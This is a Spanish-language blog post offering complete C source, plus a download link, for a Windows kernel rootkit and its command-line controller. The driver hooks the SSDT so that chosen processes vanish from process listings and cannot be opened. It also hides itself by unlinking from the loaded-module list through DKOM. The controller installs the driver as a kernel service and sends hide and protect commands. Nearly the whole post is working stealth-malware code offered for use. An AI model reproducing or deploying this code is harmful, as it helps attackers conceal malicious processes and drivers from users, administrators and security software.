Unas imagenes.
Mensajero
#includehook.h#include #include #define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) #define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) #define HideDriver CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000003, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) void Usage(char *name); char *ExtractFileName(char *Name); void SendPID(int PID, DWORD IoState); int main(int argc, char *argv[]) { int i = 1; if (argc == 1) { Usage(argv[0]); return 0; } if (strlen(argv[1]) != 2){ Usage(argv[0]); return 0; } switch (argv[1][1]){ case 'i' : { //Se abre el administrador de servicios con la flag CREATE_SERVICE SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (SCMan == NULL){ printf("No se tienen los permisos necesarios para acceder a los servicios\n"); return 0; } //Crea el servicio tipo Driver, que inicie con el sistema SC_HANDLE Serv = CreateService(SCMan, argv[2], argv[2], SERVICE_ALL_ACCESS, // Desired Access SERVICE_KERNEL_DRIVER, // Service Type SERVICE_DEMAND_START, // Start Type SERVICE_ERROR_NORMAL, // Error Controle argv[3], NULL, NULL, NULL, NULL, NULL); printf("Ruta: %s\n", argv[3]); if (Serv == NULL){ if (GetLastError() == 1073){ //El error 0x431 significa que ya existe el servico Serv = OpenService(SCMan, argv[2], SERVICE_ALL_ACCESS); //Simplemente obtenemos el handle if (Serv == NULL){ printf("No se puede abrir el servicio\n"); printf("Error 0x%x", GetLastError()); return 0; } } else { printf("No se puede crear el servicio\n"); printf("Error 0x%x", GetLastError()); return 0; } } if (!StartService(Serv, 0, NULL)){ //Iniciamos el servicio printf("No se puede iniciar el servicio\n"); printf("Error 0x%x", GetLastError()); return 0; } printf("El servicio %s se ha instalado e iniciado...", argv[2]); CloseServiceHandle(Serv); //Cerramos el handle del servicio CloseServiceHandle(SCMan); //Cerramos el handle del administrador de servcios break; } case 'd':{ //Abrimos el admin de servicios SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (SCMan == NULL){ printf("No se tienen los permisos necesarios para acceder a los servicios\n"); return 0; } //Se obtiene un handle del servicio SC_HANDLE Serv = OpenService(SCMan, argv[2], SERVICE_ALL_ACCESS); if (Serv == NULL){ printf("Error abriendo el servicio %d\n", GetLastError()); return 0; } SERVICE_STATUS servStatus; //Enviamos la señal STOP_SERVICE BOOL bRet = ControlService(Serv, SERVICE_CONTROL_STOP, &servStatus); if (!bRet && (GetLastError() != ERROR_SERVICE_NOT_ACTIVE)){ //Este error significa que ya esta detenido printf("No se ha podido detener el servicio\nError: %d", GetLastError()); return 0; } if (!DeleteService(Serv)){ //Lo eliminamos printf("Error eliminando el servicio %d", GetLastError()); return 0; } printf("Servicio %s detenido y desinstalado", argv[2]); CloseServiceHandle(Serv); //Cerramos el handle del servicio CloseServiceHandle(SCMan); //Cerramos el handle del administrador de servcios break; } case 'h':{ printf("Proteccion de PID\n"); SendPID(atoi(argv[2]), Block); break; } case 'u':{ printf("Liberación de PID\n"); SendPID(atoi(argv[2]), Unblock); break; } case 'm':{ printf("Ocultando driver\n"); SendPID(0, HideDriver); break; } } //system("PAUSE"); return 0; } void Usage(char *name){ printf("%s [opciones] [parametros]\n", ExtractFileName(name)); printf(" -i [Nombre] [Ruta] Carga y crea el servicio del driver.\n"); printf(" -d [Nombre] Detiene y elimina en servicio del driver.\n"); printf(" -h [PID] Protege un proceso.\n"); printf(" -u [PID] Libera un proceso.\n"); printf(" -m Oculta el driver por DKOM\n"); } char *ExtractFileName(char *name){ int len = strlen(name); while (len > 0){ if ((int)name[len] != 92) len--; else { len++; break; } } int iname = strlen(name) - len; char *ret = malloc((iname + 1)*sizeof(char)); strcpy(ret, name + len); return ret; } void SendPID(int PID, DWORD IoState){ HANDLE hDevice; BOOL bRet; DWORD a, dwState; int iBuffer, oBuffer; //iBuffer = PID; hDevice = CreateFile("\\\\.\\driverpid", GENERIC_WRITE | GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice != INVALID_HANDLE_VALUE) { printf("Handle Device: %d\n", hDevice); /*if (bBlock) dwState = (DWORD)Block; else dwState = (DWORD)Unblock;*/ printf("Enviando peticion\n"); bRet = DeviceIoControl(hDevice, IoState, &PID, sizeof(int), &oBuffer, sizeof(int), &a, NULL); if (bRet) printf("PID: %d se respondio %d\n", iBuffer, oBuffer); } else { printf("No se puede establecer conexion\n"); printf("0x%08x\n",GetLastError()); } }
#includemain.c#ifndef _HOOK_H_ #define _HOOK_H_ #endif typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; typedef struct _SYSTEM_THREAD { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; LONG BasePriority; ULONG ContextSwitchCount; ULONG State; KWAIT_REASON WaitReason; } SYSTEM_THREAD, *PSYSTEM_THREAD; typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; LARGE_INTEGER Reserved[3]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; HANDLE ProcessId; HANDLE InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; ULONG PrivatePageCount; VM_COUNTERS VirtualMemoryCounters; IO_COUNTERS IoCounters; SYSTEM_THREAD Threads[0]; } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; typedef struct _MODULE_ENTRY { LIST_ENTRY Link; // FLink and BLink ULONG Unknown[4]; ULONG ImageBase; ULONG EntryPoint; ULONG ImageSize; UNICODE_STRING DriverPath; UNICODE_STRING DriverName; } MODULE_ENTRY, *PMODULE_ENTRY; #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] #define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) #define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) #define HideDriver CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000003, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) typedef DWORD (ULONG); PMDL g_pmdlSystemCall; PVOID *MappedSystemCallTable; #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1) #define HOOK_SYSCALL(_Function, _Hook, _Orig ) \ _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) #define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \ InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#include#include "hook.h" //Declaramos la API para poder trabajar con ella. NTSYSAPI NTSTATUS NTAPI ZwOpenProcess (OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL); NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); typedef NTSTATUS (*TypZwQuerySysInfo)(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); TypZwQuerySysInfo ZwQuerySysInfoIni; typedef NTSTATUS (*TypZwOpenProc)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL); TypZwOpenProc ZwOpenProcessIni; const WCHAR Device[]=L"\\device\\driverpid"; const WCHAR sLink[]=L"\\??\\driverpid"; USHORT ListPID[3]; UNICODE_STRING Dev, lnk; PVOID DriverCurrent = NULL; //int ListPID; int SearchPID(HANDLE PID){ int i; for (i = 0; i < 3; i++){ if ((HANDLE)ListPID[i] == PID) return i; } return -1; } int FreeIndex(){ int i; for (i = 0; i < 3; i++){ if (ListPID[i] == 0) return i; } return -1; } /* Función que es llamada para cualquier interacción con el driver Pero, solo maneja los I/O por medio de IRPs */ NTSTATUS IOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){ PIO_STACK_LOCATION Stack; PUSHORT oBuffer; PUSHORT iBuffer; int i; NTSTATUS Status = STATUS_SUCCESS; PMODULE_ENTRY Module; Stack = IoGetCurrentIrpStackLocation(Irp); iBuffer = oBuffer = (PUSHORT)Irp->AssociatedIrp.SystemBuffer; if (oBuffer && iBuffer){ DbgPrint("Accesando a bloqueo de PID"); DbgPrint("Asociando buffers..."); if(Stack->Parameters.DeviceIoControl.InputBufferLength == sizeof(int)){ DbgPrint("Peticion recibida a PID: %d", *iBuffer); if(Stack->Parameters.DeviceIoControl.OutputBufferLength == sizeof(int)){ DbgPrint("Revisando estado de lista."); Irp->IoStatus.Information = sizeof(int); switch(Stack->Parameters.DeviceIoControl.IoControlCode){ case Block: { //if (ListPID == 0){ i = FreeIndex(); if (i >= 0){ DbgPrint("Protegiendo PID %d.", *iBuffer); ListPID[i] = (USHORT)*iBuffer; *oBuffer = 1; } else { *oBuffer = 0; DbgPrint("No hay espacio para proteger."); } break; } case Unblock: { DbgPrint("Eliminando proteccion"); i = SearchPID((HANDLE)*iBuffer); if (i >= 0){ //if (ListPID != 0){ DbgPrint("Liberando PID %d.", *iBuffer); ListPID[i] = 0; *oBuffer = 1; } else { *oBuffer = 0; DbgPrint("No hay procesos protegidos."); } } case HideDriver: { PVOID First; DbgPrint("Current: %8X", DriverCurrent); __asm { mov eax, dword ptr fs:[0x1C] // KPCR mov eax,[eax+0x34] //KPCR -> KdVersionBlock mov eax,[eax+0x70] //KDDEBUGGER_DATA32 -> PsLoadedModulesList mov Module,eax } First = (PVOID)Module; Module = (PMODULE_ENTRY)Module->Link.Flink; while (((ULONG)Module->Link.Flink != 0) && (Module->Link.Flink != First)){ if ((PVOID)Module == DriverCurrent){ ((PMODULE_ENTRY)Module->Link.Blink)->Link.Flink = Module->Link.Flink; ((PMODULE_ENTRY)Module->Link.Flink)->Link.Blink = Module->Link.Blink; DbgPrint("Se ha ocultado el driver."); } Module = (PMODULE_ENTRY)Module->Link.Flink; } break; } default: Status = STATUS_SUCCESS; break; } //Switch } else { Status = STATUS_BUFFER_TOO_SMALL; Irp->IoStatus.Information = 0; } //Buffer Small } //In buffer } //Asociar buffer Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(Irp, IO_NO_INCREMENT); return Status; } NTSTATUS NewZwQuerySysInfo(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) { NTSTATUS Status; PSYSTEM_PROCESS_INFORMATION Actual, Next; int i; Status = ZwQuerySysInfoIni(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); //DbgPrint("Llamada a la API original"); if (SystemInformationClass != 5)//Si no llaman a la API para los procesos no nos importa return Status; //DbgPrint("Han pedido informacion de procesos"); if (!NT_SUCCESS(Status))//En este punto han llamado para los procesos, pero algo fallo return Status; //Cargamos el primer proceso que es 0 (?) Actual = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; //Si es el ultimo proceso esta entrada esta seteada en 0 //Por tanto si es el ultimo no se ejecuta el bloque while while (Actual->NextEntryOffset){ //Cargamos el siguiente proceso Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Actual + Actual->NextEntryOffset); //Si el PID del proceso es igual al que estamos protegiendo //Y el PID a proteger no es 0 (ningún PID a proteger) i = SearchPID(Next->ProcessId); if (Next->ProcessId != 0){ while (i >= 0){ DbgPrint("Ocultando Proceso: %d", ListPID[i]); //En este caso si esta entrada esta seteada a 0 el siguiente proceso es el ultimo if (Next->NextEntryOffset == 0) //Así que hacemos que el proceso actual sea el ultimo Actual->NextEntryOffset = 0; else Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset; Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Next + Next->NextEntryOffset); i = SearchPID(Next->ProcessId); } //Si no es el ultimo sumamos las entradas del actual y del siguiente //Para saltar la entrada de nuestro proceso //Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset; //No salimos del break porque puede haber mas procesos a ocultar } //Cargamos el siguiente bloque de proceso Actual = (PSYSTEM_PROCESS_INFORMATION)((char *)Actual + Actual->NextEntryOffset); } return Status; } NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL) { HANDLE PID; __try //Utilizamos el bloque try para evitar BSOD { PID = ClientId->UniqueProcess; } __except(EXCEPTION_EXECUTE_HANDLER){ return STATUS_INVALID_PARAMETER; //Regresamos un estado invalido para que la aplicación se ocupe } //Verificamos el pid if ((SearchPID(PID) >= 0) && (PID != 0)){ //if (PID == (HANDLE)ListPID){ DbgPrint("PID: %d", PID); return STATUS_ACCESS_DENIED; //Retornamos acceso denegado } else return ZwOpenProcessIni(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId); //Llamamos a la API nativa y retornamos el resultado correcto } VOID OnUnload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("Descargando driver..."); //Unhookeamos UNHOOK_SYSCALL( ZwOpenProcess, ZwOpenProcessIni, NewZwOpenProcess ); UNHOOK_SYSCALL( ZwQuerySystemInformation, ZwQuerySysInfoIni, NewZwQuerySysInfo); DbgPrint("Eliminando Hooks"); //Eliminamos la MDL if(g_pmdlSystemCall){ MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall); IoFreeMdl(g_pmdlSystemCall); } DbgPrint("Proteccion a SSDT restaurada"); } NTSTATUS DriverIODispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = 0; IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath) { NTSTATUS Status; DriverObject->DriverUnload = OnUnload; DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] = DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverIODispatch; DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOControl; RtlInitUnicodeString(&Dev,Device); RtlInitUnicodeString(&lnk,sLink); DriverCurrent = DriverObject->DriverSection; //Creamos la MDL para deshabilitar la protección de memoria //g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); g_pmdlSystemCall = IoAllocateMdl(KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4, FALSE, FALSE, NULL); if(!g_pmdlSystemCall) return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(g_pmdlSystemCall); g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); Status = IoCreateDevice(DriverObject,0,&Dev,FILE_DEVICE_UNKNOWN,0,0,&DriverObject->DeviceObject); if (NT_SUCCESS(Status)){ Status =IoCreateSymbolicLink(&lnk,&Dev); DbgPrint("Creando device..."); if(!NT_SUCCESS(Status)){ IoDeleteDevice(DriverObject->DeviceObject); DbgPrint("Error creando link simbolico"); }else DbgPrint("SymbolicLink creado y cargado."); }else DbgPrint("Error creando el device."); DbgPrint("Driver cargado."); /* Hooking de las APIs Obtenemos la direccion de OpenProcess */ ZwOpenProcessIni =(TypZwOpenProc)(SYSTEMSERVICE(ZwOpenProcess)); DbgPrint("Hookeando OpenProcess..."); /* Cambiamos la dirección de la SSDT por la nuestra */ HOOK_SYSCALL( ZwOpenProcess, NewZwOpenProcess, ZwOpenProcessIni ); ZwQuerySysInfoIni = (TypZwQuerySysInfo)(SYSTEMSERVICE(ZwQuerySystemInformation)); DbgPrint("Hookeando QuerySysInfo..."); HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySysInfo, ZwQuerySysInfoIni); return Status; }
Descarga: http://www.sendspace.com/file/6l3gxb
Saludos! :drinking:
No hay comentarios:
Publicar un comentario